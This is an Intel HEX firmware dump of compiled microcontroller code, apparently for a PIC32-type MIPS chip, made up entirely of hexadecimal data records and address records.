:101a0400010006244048410f0000000021e8c00303
:101a14001c00bf8f1800be8f2000bd270800e00304
:101a240000000000e0ffbd271c00bfaf1800beafe0
:101a340021f0a003211080002400c5af2000c2a320
:101a44002000c2930a0003246f004310000000002a
:101a54000b00432806006010000000000800032467
:101a64003b004310000000004bc7400b0000000087
:101a74001000032488004310000000001200032417
:101a8400a9004314000000002000c293212040005c
:101a94002400c58f41c6400f00000000040040141c
:101aa40000000000211000004cc7400b00000000a3
:101ab400050002241000c2afc3c6400b00000000a2
:101ac4001000c38f020002240c006210000000000a
:101ad4001000c48f059d023cec3745240100062408
:101ae4004048410f000000000400401400000000c2
:101af400211000004cc7400b000000001000c28ff2
:101b0400010042241000c2af1000c28f0e00422c0c
:101b1400ebff40140000000002000424059d023c79
:101b2400ec374524213000004048410f00000000fc
:101b34000400401400000000211000004cc7400bba
:101b440000000000010002244cc7400b000000000c
:101b54002000c293212040002400c58f41c6400fbd
:101b640000000000040040140000000021100000e8
:101b74004cc7400b00000000040002241000c2af58
:101b8400f1c6400b000000001000c48f059d023c0c
:101b9400ec374524010006244048410f00000000b2
:101ba4000400401400000000211000004cc7400b4a
:101bb400000000001000c28f010042241000c2afd8
:101bc4001000c28f0800422cefff401400000000f8
:101bd40001000424059d023cf83745240100062435
:101be4004048410f000000000400401400000000c1
:101bf400211000004cc7400b00000000010002242b
:101c04004cc7400b000000002000c293212040007c
:101c1400059d023c0438452441c6400f00000000e5
:101c24000400401400000000211000004cc7400bc9
:101c340000000000010002241000c2af20c7400bc6
:101c4400000000001000c48f059d023cec374524c1
:101c5400010006244048410f000000000400401425
:101c640000000000211000004cc7400b00000000e1
:101c74001000c28f010042241000c2af1000c28fb6
:101c84000800422cefff4014000000000100022471
:101c94004cc7400b000000002000c29321204000ec
:101ca400059d023c0438452441c6400f0000000055
:101cb4000400401400000000211000004cc7400b39
:101cc40000000000010002241000c2af44c7400b12
:101cd400000000001000c48f059d023cec37452431
:101ce400010006244048410f000000000400401495
:101cf40000000000211000004cc7400b0000000051
:101d04001000c28f010042241000c2af1000c28f25
:101d14000800422cefff40140000000001000224e0
:101d24004cc7400b000000002110000021e8c00354
:101d34001c00bf8f1800be8f2000bd270800e003e1
:041d4400000000009b
:020000040000fa
:020000041d03da
:101d4800a8ffbd275400bfaf5000beaf4c00b7afcf
:101d58004800b6af4400b5af4000b4af3c00b3afe5
:101d68003800b2af3400b1af3000b0af219080007e
:101d78002188a0006000a6af211000002800a2afb3
:101d8800218000000000248201003326e00080103a
:101d98001600a4a325000224ea00821402002226c9
:101da80021a00000ffff4880e0ff0325ff0063300b
:101db8001100642c21008010ffff512480180300bb
:101dc800039d043ce01d8424211883000000638cdb
:101dd80008006000000000000c21039d441e039dc4
:101de800441e039d0021039d441e039d441e039d24
:101df800441e039d441e039d441e039d441e039dd3
:101e0800441e039df420039d441e039de820039d6a
:101e1800441e039d441e039d241e039d0400943606
:101e280001004224ffff4880e0ff0325ff006330e4
:101e38001100642ce1ff8014ffff5124059d053c2f
:101e48001d39a5242110a800000042900200843208
:101e5800feff83320ba0640008008432fbff83324c
:101e68000400423021282002bd0040100ba064006d
:101e780021a80001a2c7400b21f0000021a84000c2
:101e8800010031260000228240201e00c0b01e0042
:101e9800059d073c1d39e7242118e20000006390e6
:101ea80021b096002140d50204006330f3ff60148e
:101eb800d0ff1e252e000324b000435001002282cb
:101ec8000010943621980000039d073c041fe52468
:101ed8001000072400800634ff0043307900642c8a
:101ee8009d02801001003126801803002118a300ec
:101ef8000000638c08006000000000001821039daa
:101f08006029039d6029039d6029039d6029039d25
:101f18006029039d6029039d6029039d6029039d15
:101f28006029039d6029039d6029039d6029039d05
:101f38006029039d6029039d6029039d6029039df5
:101f48006029039d6029039d6029039d6029039de5
:101f58006029039d6029039d6029039d6029039dd5
:101f68006029039d6029039d6029039d6029039dc5
:101f78006029039d6029039d6029039d6029039db5
:101f88006029039d6029039d6029039d6029039da5
:101f98006029039d6029039d6029039d6029039d95
:101fa8006029039d6029039d6029039d6029039d85
:101fb8006029039d6029039d6029039d6029039d75
:101fc8006029039d6029039d6029039d6029039d65
:101fd8006029039d6029039d6029039d6029039d55
:101fe8006029039d6029039d6029039d6029039d45
:101ff8006029039d6029039d6029039d6029039d35
:102008006029039d6029039d6029039d6029039d24
:102018008429039d6029039d7029039d6029039de0
:102028006029039d6029039d6029039d6029039d04
:102038006029039d6029039d6029039d6029039df4
:102048006029039d6029039d6029039d6029039de4
:102058006029039d6029039d6029039d1029039d24
:102068006029039d6029039d6029039d6029039dc4
:102078006029039d6029039d6029039d6029039db4
:102088006029039d6029039db828039db028039dfe
:10209800a028039d2c29039d1c29039d6029039dcd
:1020a800b028039d6029039d6029039d3c29039d59
:1020b8006029039d6029039d9028039d1029039d95
:1020c8006029039d6029039d9827039d6029039d2e
:1020d8002826039d6029039d6029039d0c22039dea
:1020e800080094368bc7400b010042240200943646
:1020f8008bc7400b01004224000894368bc7400b65
:1021080001004224010094368bc7400b0100422491
:10211800211000025400bf8f5000be8f4c00b78fb3
:102128004800b68f4400b58f4000b48f3c00b38f91
:102138003800b28f3400b18f3000b08f0800e00350
:102148005800bd27534b410f21284002ffff0324ad
:102158000cff43102188600263c7400b0100102662
:102168002a0002241f0002112e000324211000015e
:1021780053ff431421f00000010022822a000324a7
:102188001305431000409436059d043c1d398424f2
:10219800211882000000639001003126040063309a
:1021a80049ff60102198000040181300c0981300e0
:1021b80001003126219873002198620200002282d2
:1021c800059d043c1d398424211882000000639079
:1021d80004006330f4ff6014d0ff7326b5c7400bca
:1021e800039d073c6000a28f00005e8c0100312631
:1021f8000100a2806000a38f04006324afc7400bd6
:102208006000a3af780002241600a2a380009436d1
:102218000007823209014010c00082320010843267
:102228001000823206000324170340100b98640044
:102238006000a28f07004324f8ff022424106200e4
:102248000000448c0400458c080042244c47410f90
:102258006000a2af21a840002120a0028552410fb2
:1022680021280000120340040080023c2120a00223
:10227800212800008552410f1000a0af150340141b
:102288002120a0021c00a0af00018232ff014014ef
:1022980000028232f80140141c00a38f1900622a40
:1022a80052054014000000001c00a48f0a00822878
:1022b8000f004010059d023c2120a0028552410fcd
:1022c800212800003c0540102120a002e353410fc3
:1022d800000000003b05401421b840001c00a58ff9
:1022e8000200a3283705601400000000059d023c89
:1022f800f040458c8552410f2800a48f12054104f7
:102308001c00a28f1c00a78fedfff6241000b6afab
:10231800c546410f2024167c2800a2af2120a00228
:10232800af45410f21284000e353410f21204000d1
:1023380021b8400021a84000211800001800a3afd0
:102348000a00e22e64054014059d033c20406324e6
:10235800020005240200062414000a240400678ce5
:102368000c00e0541600a6a30000628c2b10e202b9
:10237800080040541600a6a30100a6242128c00086
:102388002034067cf5ffaa14080063241600a6a3cf
:10239800140005240008973221286502fffff73250
:1023a80021b0b6002510770223b0d6032b10020007
:1023b8000300833223b0c2022b18030004008232c8
:1023c800a904401023b0c30202008232f604401070
:1023d80001008232010084322d0002242b000324e4
:1023e8000a10640021204000534b410f212840026d
:1023f800271002002b100200218002020a00c05a96
:102408000800943230000424534b410f2128400225
:10241800271002002b100200ffffd626f9ffc01676
:10242800218002020800943222c9400bffff9e322d
:10243800c0180300059d043c104084242118830023
:102448000000668c0400678c2120a0020733410f2e
:102458002128000021204000212860000a000624cd
:10246800ee31410f2138000030004424534b410f16
:1024780021284002271002002b10020021800202ae
:102488001600a283ffff4324201c037ce8ff4014ae
:102498001600a3a31000a28f0c0040181300622a94
:1024a80030000424534b410f21284002271002001a
:1024b8002b1802001000a28fffff42242180030284
:1024c800f7ff401c1000a2af1300622ad204401488
:1024d8002014137c120002241600a2a3eeff732618
:1024e8002e000424534b410f21284002ffff0324f0
:1024f800020043101600b48301001026c546410fa0
:102508002120800221204000d147410f1800a58fcb
:10251800e353410f2120400021a84000ffff8626f9
:102528002034067c21b80000250080121600a6a3de
:10253800c0300600059d053c1040a5242130a600aa
:102548000400c78c0000c68c2120a0020733410f6d
:102558002128e00221204000212860000a000624ea
:10256800ee31410f2138000030004424534b410f15
:10257800212840021600b483271002002b10020005
:10258800c0181400059d073c1040e7242118e300fb
:102598000000668c0400678c2120a0022128e0023c
:1025a800ee31410f21800202ffff86262034067c8f
:1025b80021a8400021b86000ddff80161600a6a300
:1025c800090060120000000030000424534b410f42
:1025d80021284002271002002b100200ffff73265b
:1025e800f9ff601621800202e7fdc0530000248233
:1025f800e5fdc05a0000248220000424534b410ffb
:1026080021284002271002002b100200ffffd626c7
:10261800f9ffc0162180020264c7400b0000248223
:10262800750002241600a2a3c00094360007823267
:10263800fbfe401400108432c000823208024014ad
:102648002016147c280440046000a28f10008232f7
:10265800f30340106000a48f6000a38f0000628c19
:10266800040063246000a3afc31f020021a8400038
:1026780021b8600021206000060081042348020080
:102688002b100900231803000300943621a8200109
:1026980023b8620003006016c00084322598b70290
:1026a8000100732e40000224b20382101800a4af68
:1026b8004100822cbb004014800002241800a58f22
:1026c8007e03a21001000224c0000224b800a21454
:1026d8001600b683010002248d04e0121600a2a39e
:1026e800059d033c204063240300022402001624b5
:1026f800150006240400648c2b28e4020900a05469
:102708001600b6a3030497500000648c010044240b
:1027180020b4027cff008230f6ff461408006324d0
:102728001600b6a32a10d302a500405420b4137c87
:102738002a1076020b98c2020500c01300408232ac
:10274800030082322b10020023f0c20300408232c1
:102758009e004010c40883322a107e029a0040541a
:1027680023f0d303c4088332400802249a00621479
:1027780021f000002a10de02a20040140400823278
:102788006d0440100800823285ca400b21b0000059
:10279800730002241600a2a36000a58f0000a48c79
:1027a8000400a5244504801021a880000000828030
:1027b800460440100100822423b84400010042244a
:1027c800ffff4380fdff605423b844006000a5afbd
:1027d80003006012080094322b1077020bb86202d3
:1027e8002b10fe022340d703ffff943221b00000d4
:1027f8000bb002010c0080162198c0020a0060523a
:10280800ffff162420000424534b410f21284002c7
:10281800271002002b100200ffff7326f9ff601635
:1028280021800202ffff1624fffff726ffff132473
:102838000a00f312000000000000a48221284002d0
:10284800534b410f0100b526271002002b10020040
:10285800fffff726f8fff3162180020249fd8012d8
:1028680021a8c00247fda01220000424534b410fa9
:1028780021284002271002002b10020021800202aa
:102888001bca400bffffb5266f0002241600a2a347
:1028980086c8400b40009436650002241600a2a3a7
:1028a80086c8400b0001943686c8400b1600a2a3c8
:1028b8006000a78f0000e38c100086320400e52436
:1028c800c32703000026040002120300251082001b
:1028d8002024027c2e00c0101600a4a3010042246c
:1028e800ff0042300200422c2a0040541400a3a3e7
:1028f8001400a4a31500a3a3020017241400b527ed
:10290800f6c9400b6000a5af1600a2a385c8400b0e
:1029180020009436670002241600a2a386c8400b44
:1029280000029436660002241600a2a386c8400b53
:1029380000049436100082322118c0000a18e20000
:1029480025a0740000002282ff0043307900642c27
:1029580065fd8014010031261600a2a31600b527d4
:10296800f6c9400b01001724470002241600a2a351
:102978002000943686c8400b000294364500022495
:102988001600a2a32000943686c8400b0001943696
:102998001400a3a3010017241400b527f6c9400b9f
:1029a8006000a5af4cff8010010002241600b6831a
:1029b8002a10d3025fff40102a10760220b4137c3d
:1029c800d0c9400b1600b6a3c408833240080224bd
:1029d800740262102b101e00c00883328008022483
:1029e80065ff62142a10de020300c22bfeffc8270f
:1029f80021f000000af002012a10de0260ff4010f8
:102a0800040082325901401023b0d60302008232fa
:102a1800c002401001008232010084322d000224dd
:102a28002b0003240a10640021204000534b410f5f
:102a380021284002271002002b10020021800202e8
:102a48000a00c0120800823230000424534b410fa0
:102a580021284002271002002b100200ffffd62673
:102a6800f9ffc0162180020208008232ffff4230bf
:102a7800f6cb400b2400a2affcff622803004014f1
:102a88002a107300490240541c00a38fc50160122c
:102a9800211000004002827e239862021300622ef9
:102aa800a2034014120002241600a2a32120a002af
:102ab8008552410f21280000c00140141600b6833a
:102ac800e353410f2120a0021800a2af059d173c37
:102ad8001040f726000a833200020224f701621030
:102ae8001500632a2340d303bb006016fbff15259e
:102af80000088232b9004054ffffb5260300833234
:102b08002b18030004008232b900401023a8a30246
:102b180002008232cc02401001008232010084326d
:102b28002d0002242b0003240a10640021204000f9
:102b3800534b410f21284002271002002b1002009e
:102b4800218002020a00a01a080082323000042400
:102b5800534b410f21284002271002002b1002007e
:102b6800ffffb526f9ffa016218002020800823275
:102b7800ffff42301c00a2af1600a2831800a48fea
:102b880021280000c01002002110e2020000468c3b
:102b98000733410f0400478c30004424534b410f46
:102ba800212840021600a383271002002b100200e0
:102bb800c01803002118e3020000668c0400678c2b
:102bc8001800a48f21280000ee31410f2180020255
:102bd80021f040000400601621b060000008823235
:102be8003f004050200094322e000424534b410fe4
:102bf800212840021600a3832000a3af271002005b
:102c08002b100200ffff64242024047c2180020290
:102c1800260060101600a4a300028232ffff423093
:102c28001800a2af1800a58f0300a0102510d60326
:102c38002a0040501600a0a3c02004002120e4026e
:102c48000000868c0400878c2120c0030733410fc5
:102c58002128c00230004424534b410f2128400250
:102c68001600a883271002002b100200c0180800c5
:102c78002118e3020000668c0400678c2120c00341
:102c88002128c00221800202ee31410f2c00a8af9a
:102c98002c00a88fffff04252024047c21f040008d
:102ca80021b06000dfff00151600a4a32000a78f45
:102cb800239867020a0060522000943230000424ee
:102cc800534b410f21284002271002002b1002000d
:102cd800ffff7326f9ff601621800202200094325c
:102ce800020080164500042465000424534b410f5c
:102cf80021284002271002002b1002002180020226
:102d08001000a28f39024004231002002b00042473
:102d1800534b410f21284002271002002b100200bc
:102d2800218002021000a28f6666133c6766732634
:102d38001800530010200000c31702002128400289
:102d48008320040023208200534b410f3000842449
:102d58001000a38f271002002b3002001800730008
:102d680010100000c327030021284002218006021a
:102d7800831002002310440040200200c01002000b
:102d88002110820023206200534b410f300084241d
:102d9800271002002b100200218002021c00a28fc3
:102da800f9fb405000002482f7fba05a000024825f
:102db80020000424534b410f212840022710020011
:102dc8002b100200ffffb526f9ffa0162180020292
:102dd80064c7400b00002482ffffb526030083323e
:102de8002b1803000400823249ff401423a8a302d1
:102df80008008232ffff42300b0040141c00a2afd3
:102e08000a00a01a0200823220000424534b410f0a
:102e180021284002271002002b100200ffffb526d0
:102e2800f9ffa01621800202020082320a02401035
:102e380001008232010084322d0002242b00032479
:102e48000a10640021204000534b410f2128400202
:102e5800271002002b100200e0ca400b218002025a
:102e68001802400410008232e80140106000a38f6d
:102e78006000a28f0000558c21b800000400422495
:102e8800a7c9400b6000a2af6000a38f0000758c3b
:102e9800040063246000a3af2120a0028552410fe3
:102ea80021280000f2fc41042120a0020080023cfd
:102eb80026a85500030094362120a00221280000ee
:102ec8008552410f1000a0afeffc40501c00a0af8e
:102ed8002120a0024153410f1000a5271000a28f06
:102ee800ffff422440180200211062006666163c6b
:102ef8006766d6261800560010b00000c3170200f7
:102f080083b0160023b0c2020100c206ffffd62616
:102f18001000b6af23201600c546410f2024047cbc
:102f280021204000d147410f2128a0022800a2af4c
:102f3800059d023ce440458c8552410f2800a48f32
:102f48003d024004059d023ce840448c8552410ff7
:102f58002800a58fccfc405c1c00b6af0100d6262b
:102f68001000b6afa4c8400b1c00b6af08008232f0
:102f7800ffff42300300c0122400a2af5a004010e5
:102f880020000424020082327601401001008232bf
:102f9800010084322d0002242b0003240a1064004f
:102fa80021204000534b410f2128400227100200e6
:102fb8002b10020021800202c0088232400803243c
:102fc80023024310800803242802431030000424fd
:102fd800ffff6426c018040040400400200082322d
:102fe800059d073c1040e72421a0e30021f00401df
:102ff800401817001c00a3afffff42302000a2af0b
:10300800fdff02241800c213809804004000022427
:103018001800a48f450082104100822c2100401422
:10302800800002241800a58f4c00a2102718130056
:10303800c00002241e00a2500000868e1600a48341
:10304800534b410f21284002271002002b10020089
:1030580021800202f8ff9426fdffde27fdff0224ef
:10306800eaffc217fcff73262400a28f46fb4050dc
:103078000000248244fbc05a00002482200004245b
:10308800534b410f21284002271002002b10020049
:10309800ffffd626f9ffc0162180020264c7400b45
:1030a80000002482e6ff80541600a4830000868e68
:1030b8000400878e2120a0020733410f2128e00257
:1030c80021204000212860000a000624ee31410f2b
:1030d80021380000300042242024027c12cc400b0e
:1030e8001600a4a320000424534b410f21284002ba
:1030f800271002002b100200ffffd626a1ffc012e6
:103108002180020220000424534b410f2128400251
:10311800271002002b100200ffffd626f1ffc01671
:1031280021800202e4cb400b0200823227101e00ed
:103138001c00a78f041047000620d5032000c333c6
:10314800252044000610d7030b20430007008430d5
:103158003000842412cc400b1600a4a31c00a78fb7
:1031680004186700061075022000663225106200f8
:1031780006287702059d043cb8408324059d073c3a
:10318800cc40e4240b10a6002000a58f0a18850067
:103198000f004230211862000000648012cc400bfe
:1031a8001600a4a31600a2a32120a0028552410f55
:1031b8002128000042fe40101600b683059d173cea
:1031c8001c00a58f2320b600c546410f2024047c8f
:1031d8002120a002af45410f2128400021a840002e
:1031e800e353410f2120400021204000db55410fcf
:1031f8002c00a2af2120a0027544410f21284000d5
:10320800e040e48e8552410f212840000c01401c0b
:103218002c00a38fe040e58e7744410f2120a002c7
:1032280021a84000e353410f212040000100c4269b
:10323800c0200400059d073c1040e7242120e4003d
:103248000400858c1800a2af0500a01421b8e00086
:103258000000848c2b20440047008050059d023cd0
:10326800c0181600059d043c1040842421188300d2
:103278000400648c370180500000638c059d023c7b
:10328800e840458cd147410f2120a00221a84000e9
:103298001c00a58fffffa2242120a002e353410fa9
:1032a8001000a2af1800a2af000a83320002022465
:1032b8000dfe62142340d3031500632a1400022470
:1032c8001800a78f1d00e0100a9843002120e00095
:1032d800212800000a000624ee31410f21380000a1
:1032e80025104300150040141800aa8fc7cc400bc6
:1032f80021b00000212040000a00062421380000e7
:10330800ee31410f2c00a2af251043000b004014f2
:103318002c00aa8f212040012128c0020a0006247f
:103328000733410f21380000212860002520620062
:10333800ffff7326efff801421b060001600a28300
:103348002a186202e8fd60102340d30323205300ab
:10335800c546410f2024047c212840002120a002da
:10336800af45410f1600b3a3e353410f212040009e
:10337800bbca400b1800a2afec40458cd147410fa7
:103388002120a00221a840001c00a38f0100622474
:103398002120a002e353410f1000a2afb7ca400b8f
:1033a8001800a2afdfc9400b23f0c2033e0160043e
:1033b80027100300e353410f2120a00221b0400051
:1033c8005801c012059d033c1840632401000524e0
:1033d800140007240400668c0a00c0542398650270
:1033e8000000628c2b10c20206004054239865022c
:1033f8000100a524f7ffa71408006324140005247e
:10340800239865021900622ad700401000000000c6
:103418001649410fff0064322120a0027744410f72
:103428002128400021a84000c546410f2024137cd4
:1034380021b84000db55410f2120c0022120a00205
:103448007544410f2128400021204000d147410ff9
:103458002128e002e353410f2120400021b0400021
:1034680091fb601221b800002120c00229cd400b39
:10347800212800002128e0020a0006240733410f12
:103488002138000021286000ffff732621b040008a
:1034980085fb601221b86000212040000a00062444
:1034a800ee31410f2138000025104300f1ff405054
:1034b8002120c002adc8400b1c00a48f0f01e012f0
:1034c8001600a2a30300032402001624000104240a
:1034d8002110000011000a242b28e20291fca054bc
:1034e8001600b6a3900057102b28a40201006724e9
:1034f800023704000029020020b4037cff00e330f7
:103508002510c500f4ff6a1400210400cbc9400b44
:103518001600b6a3cc004014c008833280080224e9
:1035280047fd621430000424534b410f2128400208
:1035380027100200200085322b10020058000324b7
:10354800780004240b20650021284002534b410fca
:1035580021800202271002002b10020092ca400ba1
:103568002180020295fe4010c0088232ebcb400b4e
:103578002000042401000224db00e0121600a2a3ac
:103588000300032402001624400004242110000034
:1035980016000a242b28e20262fca0541600b6a3e7
:1035a800650057102b28a402010067244237040045
:1035b800c028020020b4037cff00e3302510c500ba
:1035c800f4ff6a14c0200400cbc9400b1600b6a350
:1035d8006000a58f0000b38c020022820400a5249d
:1035e8006000a5afb4c7400b020031262d000424ab
:1035f80021284002534b410f1000a2af27100200b0
:103608002b1002004bcb400b218002020000758c6e
:1036180021b8000004006324a7c9400b6000a3afd1
:103628000000828c040084246000a4afc31f020041
:1036380021a8400021b86000a0c9400b21206000eb
:103648008dcc400b211060003efd4010200004246a
:10365800ceca400b0000000048fd40101600a283af
:1036680094cb400b2000042408008232ffff5e3018
:103678000c00c017020082320a00c01a00000000c5
:1036880020000424534b410f212840022710020038
:103698002b100200ffffd626f9ffc0162180020278
:1036a80002008232580040500100943201008432f6
:1036b8002b0002242d0003240b1064001dc9400bad
:1036c800212040006000a58f0700a324f8ff0224f2
:1036d80024106200080047246000a7af0000558c42
:1036e800a7c9400b0400578c07004324f8ff0224a5
:1036f800241862000400648c0000628c08006324b3
:103708006000a3af2118800021a84000a0c9400b89
:1037180021b880002b20a402fdfb80100100442466
:10372800cbc9400b1600b6a371ffa0100100672497
:10373800cbc9400b1600b6a39cffa010010067245c
:10374800cbc9400b1600b6a3eeff5624c6c8400be3
:103758001000b6af2b104300dffc4010000a833284
:10376800a2cc400b059d023cc546410f2024137c8a
:1037780021b84000db55410f2120c0022120a002c2
:103788007544410f2128400021204000d147410fb6
:103798002128e002e353410f2120400021b04000de
:1037a8001ccd400b21b8000014fb4010200004245d
:1037b800fcc8400b00000000e353410f000000006c
:1037c80021b84000db55410f212040002120a002f4
:1037d8007544410f212840001800a2af21a8e0023b
:1037e8001000a0afd2c8400b21b000001649410f0d
:1037f800ff0064322120a0027744410f21284000b5
:10380800acc8400b21a840001dfb801220000424f6
:103818001dc9400b000000001600a2a330fb401495
:10382800239862022ffbe0162e000424ffff0224d7
:1038380072c9400b1600a2a3ffffd6261000b6af30
:10384800a4c8400b1c00b6af8dca400b200004244e
:1038580030000424534b410f212840022710020056
:103868002b100200f6cb400b21800202534b410f74
:103878002128400227100200200085322b10020068
:1038880058000324780004240b20650021284002f6
:10389800534b410f21800202271002002b10020017
:1038a800f6cb400b218002022120a002e353410ff6
:1038b80021986202f2cc400b21b04000059d093ce2
:1038c800b0403525edc9400b2120a0026000a5af0e
:1038d800f6c9400b21b80000010002241600a2a37b
:1038e800e7c8400b010005240800a22e25ff401060
:1038f800030003246eca400b010016241000a22ef8
:10390800f1fe4010030003246eca400b0100162488
:103918000a00a22e73fb4010059d033c6eca400ba3
:103928000100162402cd400b212800002014137c2e
:103938006ccc400b1600a2a3ffff42302400a2afbc
:08394800e3cb400b21b00000ad
:020000040000fa
:020000041d03da
:10395000c0ffbd273c00bfaf3800beaf21f0a003c1
:103960004000c4af4400c5af2118c0004c00c7af31
:103970005400c28f4800c3a33000c2a34800c293c2
:1039800000a0033cdc5663249c00688c00a0033c30
:10399000dc566324e000638c300004242338830069
:1039a00000a0033cdc566324e400668c00a0033cca
:1039b000dc566324e800658c00a0033cdc566324dd
:1039c000e000648c00a0033cdc566324f400638cac
:1039d000040009241000a9af1400a8af1800a7af75
:1039e0001c00a0af2000a6af2400a5af2800a4af04
:1039f0002c00a3af4400c48f212840004c00c68f88
:103a000001000724313b410f000000000400401476
:103a10000000000021100000e1ce400b000000007b
:103a20003000c29304004014000000000100022492
:103a3000e1ce400b0000000001000424ff0d410f07
:103a400000000000a0ce400b00000000212000007c
:103a5000ff0d410f000000002118400000a0023cb3
:103a6000dc5642248c00428c2b1043000400401092
:103a70000000000021100000e1ce400b000000001b
:103a800088bf023cd060428c00014230efff4014fe
:103a90000000000002000224448282a300a0023c35
:103aa000dc5642249c00448c00a0023cdc5642249c
:103ab000a400458c3000c3935000c28f0600401014
:103ac0000000000000a0023cdc564224bc004290f2
:103ad000b7ce400b000000002110000000a0063c03
:103ae000dc56c6248c00c68c00a0073c9957e724fe
:103af0001000a7af1400a2af1800a6af0100022467
:103b00001c00a2af010002242000a2af4000c68f1b
:103b100021386000a9ff400f00000000211840007c
:103b20003000c293160062140000000000a0023ca6
:103b3000dc5642249c00438c00a0023cdc5642240c
:103b4000f800428c18006200122000003400c4af5c
:103b5000eb51023c1f8542343400c38f19006200d0
:103b6000101000004211020021204000400e410fc1
:103b70000000000001000224e1ce400b0000000024
:103b80002110000021e8c0033c00bf8f3800be8f29
:103b90004000bd270800e00300000000c0ffbd2773
:103ba0003c00bfaf3800beaf21f0a0034000c4af5f
:103bb000e00c410f0000000000a0023cdc56422453
:103bc0009c00438c00a0023cdc564224ec00428c5a
:103bd00018006200122000003000c4afeb51023c1c
:103be0001f8542343000c38f19006200101000009e
:103bf0004211020021204000400e410f0000000051
:103c0000010002241000a2af400002241400a2af61
:103c10001800c22721204000059d023ce8f94524f8
:103c2000020006242138000054ce400f000000009e
:103c300009004010000000004000c48f1800c22797
:103c4000212840007f49410f0000000001000224ac
:103c500017cf400b000000002110000021e8c00336
:103c60003c00bf8f3800be8f4000bd270800e00336
:103c700000000000e8ffbd271400bfaf1000beaf7a
:103c800021f0a0031800c4af1c00c5af1800c48ffa
:103c90001c00c58f8fdb400f0000000021e8c0032f
:103ca0001400bf8f1000be8f1800bd270800e0036e
:103cb00000000000b0ffbd274c00bfaf4800beaf02
:103cc00021f0a0035000c4af2110a0005400c2a3f3
:103cd0001900c0a35400c2930800422c04004014f1
:103ce00000000000211000008acf400b00000000ff
:103cf0001c00c227212040002128000027000624a4
:103d00006551410f000000001c00c2272120400027
:103d1000059d023cecf9452402000624494a410f66
:103d2000000000009c80828f140040100000000002
:103d30001c00c227020042242120400000a0023cb7
:103d4000c872452446b9400f00000000300002242c
:103d50003e00c2a35400c2931c00c3272300632467
:103d6000212060002128400003000624e2b6400f15
:103d70000000000069cf400b00000000300002246a
:103d80001e00c2a35400c2931c00c3270300632477
:103d9000212060002128400003000624e2b6400fe5
:103da0000000000000a0023cdc564224d400428cfb
:103db0001800c2a384cf400b000000001c00c227e3
:103dc00021204000a34a410f00000000ff004230c4
:103dd000211840001900c2931c00c5271000a0af95
:103de000200004241400a4af5000c48f21306000d0
:103df0002138400054ce400f000000000400401065
:103e000000000000010002248acf400b00000000e7
:103e10001800c293ffff43241800c3a3e7ff401418
:103e2000000000002110000021e8c0034c00bf8ffb
:103e30004800be8f5000bd270800e00300000000ce
:103e400088ffbd277400bfaf7000beaf21f0a00394
:103e5000211080007c00c5af8000c6af8400c7afd2
:103e60007800c2a37800c2930800422c04004014da
:103e7000000000002110000021d0400b00000000d5
:103e80001c00c227212040002128000047000624f2
:103e90006551410f000000001c00c2272120400096
:103ea000059d023cecf9452402000624494a410fd5
:103eb00000000000020002241800c2a39c80828f30
:103ec0000c004010000000001800c2931c00c32723
:103ed000211062002120400000a0023cc87245244d
:103ee00046b9400f000000001800c2932000422491
:103ef0001800c2a31800c2931c00c327211062003f
:103f0000212040008000c58f01000624e2b6400f4a
:103f1000000000001800c293010042241800c2a350
:103f20001800c2931c00c32721106200212040000a
:103f30007c00c58f46b9400f000000001800c293f6
:103f4000200042241800c2a31800c2931c00c327fb
:103f5000211862007800c2932120600021284000cf
:103f600003000624e2b6400f000000001800c293d0
:103f7000030042241800c2a31c00c22721204000d5
:103f8000a34a410f00000000ff0042301c00c3277d
:103f90001000a0af1400a0af212000002128600075
:103fa000213040002138000054ce400f00000000b6
:103fb00004004014000000002110000021d0400b3c
:103fc0000000000000a0023cdc564224f400428cb9
:103fd000e803432400a0023cdc5642249c00428caf
:103fe00018006200122000006800c4afeb51023cd0
:103ff0001f8542346800c38f190062001010000052
:104000004211020021204000400e410f000000003c
:104010008400c28f0400401400000000010002244c
:1040200021d0400b000000007800c2931c00c32781
:1040300021206000212840002dcf400f000000000b
:1040400004004014000000002110000021d0400bab
:10405000000000001c00c227212040007c00c58f0a
:1040600008000624d352410f000000000400401055
:10407000000000002110000021d0400b00000000d3
:104080000100022421e8c0037400bf8f7000be8fbe
:104090007800bd270800e00300000000b8ffbd273e
:1040a0004400bfaf4000beaf21f0a0034800c4af42
:1040b0004c00c5af1800c22721204000e7ce400fba
:1040c000000000000400401000000000211000006b
:1040d00072d0400b000000004c00c28f00004280f4
:1040e0000400401400000000059d023cf0f9422449
:1040f0004c00c2af1800c22721204000059d023ca1
:10410000ecf9452402000624494a410f0000000052
:104110001a00c227212040004c00c58f46b9400f2d
:10412000000000003a00c0a31800c2272120400070
:10413000a34a410f00000000ff0042301000a0af72
:104140001400a0af212000001800c3272128600020
:10415000213040002138000054ce400f0000000004
:1041600004004014000000002110000072d0400b39
:10417000000000001800c22721204000e7ce400fb9
:1041800000000000040040140000000021100000a6
:1041900072d0400b00000000010002249c8082af1e
:1041a00000a0023cc87244244c00c58f7f49410fd7
:1041b000000000004800c48f4c00c58f7f49410fac
:1041c000000000000100022421e8c0034400bf8f6a
:1041d0004000be8f4800bd270800e003000000003b
:1041e00098ffbd276400bfaf6000beaf21f0a00301
:1041f0006800c4af3400c0af300002243100c2a355
:104200002dd1400b00000000100002243200c2a398
:1042100026d1400b000000000a0002243000c2a397
:104220001fd1400b0000000000a0023cdc564224dd
:1042300001000324cc0043ac010002243800c2afcb
:104240004715410f0000000004004010000000006e
:104250003400c28f38d1400b000000003000c393ff
:1042600000a0023cdc564224e00043ac3100c39382
:1042700000a0023cdc564224e80043ac3200c39369
:1042800000a0023cdc564224e40043ac3c00c227c0
:1042900021204000f82b410f0000000000a0023c4c
:1042a000dc5642249c00478c00a0023cdc56422491
:1042b000e000468c00a0023cdc564224e400458c21
:1042c00000a0023cdc564224e800448c00a0023ce2
:1042d000dc564224e000438c00a0023cdc56422421
:1042e000f400428c040008241000a8af1400a7af0b
:1042f0001800a6af1c00a0af2000a5af2400a4affb
:104300002800a3af2c00a2af059d023cfcf9442479
:10431000050005242130000001000724313b410f36
:104320000000000000a0023cdc564224cc0040ac5f
:1043300000a0023cdc5642249c00448c00a0023cbd
:10434000dc564224a400458c00a0023cdc564224ea
:10435000b000428c00a0033cdc5663248c00668cc9
:104360003c00c32700a0073c9957e7241000a7afe3
:104370001400a0af1800a6af1c00a0af01000624d7
:104380002000a6af2130600021384000a9ff400f77
:10439000000000002118400000a0023cdc5642242e
:1043a000b000428c32006214000000003c00c227c2
:1043b00021204000059d023c04fa4524734d410f25
:1043c0000000000002004010000000003800c0aff4
